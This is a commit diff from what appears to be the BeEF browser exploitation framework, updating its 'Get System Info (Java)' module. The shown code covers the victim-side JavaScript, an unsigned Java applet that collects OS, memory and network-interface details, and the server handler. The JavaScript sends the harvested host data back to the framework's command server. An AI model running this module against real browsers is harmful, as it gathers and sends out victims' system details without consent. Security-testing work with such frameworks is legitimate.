GetSystemInfo command module: improved description, network interfaces output and usage of JS api

git-svn-id: https://beef.googlecode.com/svn/trunk@1392 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
antisnatchor
2011-11-02 15:16:54 +00:00
parent 9bed6cf9fd
commit f9ba59c17d
5 changed files with 20 additions and 10 deletions

View File

@@ -22,21 +22,22 @@ beef.execute(function() {
if (beef.browser.isFF()) {
output = document.getSystemInfo.getInfo();
if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br />"));
if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"));
beef.dom.detachApplet('getSystemInfo');
} else {
function waituntilok() {
try {
output = document.getSystemInfo.getInfo();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br />"));
$j('#getSystemInfo').detach();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"));
beef.dom.detachApplet('getSystemInfo');
return;
} catch (e) {
internal_counter++;
if (internal_counter > 30) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after 20 seconds');
$j('#getSystemInfo').detach();
beef.dom.detachApplet('getSystemInfo');
return;
}
setTimeout(function() {waituntilok()},1000);

View File

@@ -19,8 +19,8 @@ beef:
enable: true
category: "Host"
name: "Get System Info (Java)"
description: "Retrieves basic information about the host system (such as the number of processors, amount of memory, screen display modes, operating system details, Java installation details and network interface names) using an unsigned Java applet.<br /><br />Chrome users will be prompted to run the applet."
authors: ["bcoles"]
description: "Retrieves basic information about the host system, using an unsigned Java Applet:<br/> <ul><li> - Operating system details</li><li> - Java VM details</li><li> - NIC names and IP</li><li> - Number of processors</li><li> - Amount of memory</li><li> - Screen display modes</li></ul>"
authors: ["bcoles", "antisnatchor"]
target:
working: ["O", "FF", "S", "IE"]
user_notify: ["C"]

View File

@@ -105,12 +105,21 @@ public class getSystemInfo extends Applet {
// System.out.println("Host Address: " + InetAddress.getLocalHost().getHostAddress());
result += "Host Address: " + java.net.InetAddress.getLocalHost().getHostAddress()+"\n";
// System.out.println("Network Interfaces:");
result += "Network Interfaces:\n";
result += "Network Interfaces (interface, name, IP):\n";
Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
while (networkInterfaces.hasMoreElements()) {
NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();
//System.out.println("\t"+networkInterface.toString());
result += "\t"+networkInterface.toString()+"\n";
result += networkInterface.getName() + ", ";
result += networkInterface.getDisplayName()+ ", ";
Enumeration inetAddresses = (networkInterface.getInetAddresses());
if(inetAddresses.hasMoreElements()){
while (inetAddresses.hasMoreElements()) {
InetAddress inetAddress = (InetAddress)inetAddresses.nextElement();
result +=inetAddress.getHostAddress() + "\n";
}
}else{
result += "\n"; // in case we can't retrieve the address of some network interfaces
}
}
}
catch (Exception exception) {

View File

@@ -24,7 +24,7 @@ class Get_system_info < BeEF::Core::Command
content['result'] = @datastore['system_info'] if not @datastore['system_info'].nil?
content['fail'] = 'No data was returned.' if content.empty?
save content
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getSystemInfo.class');
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getSystemInfo.class')
end
end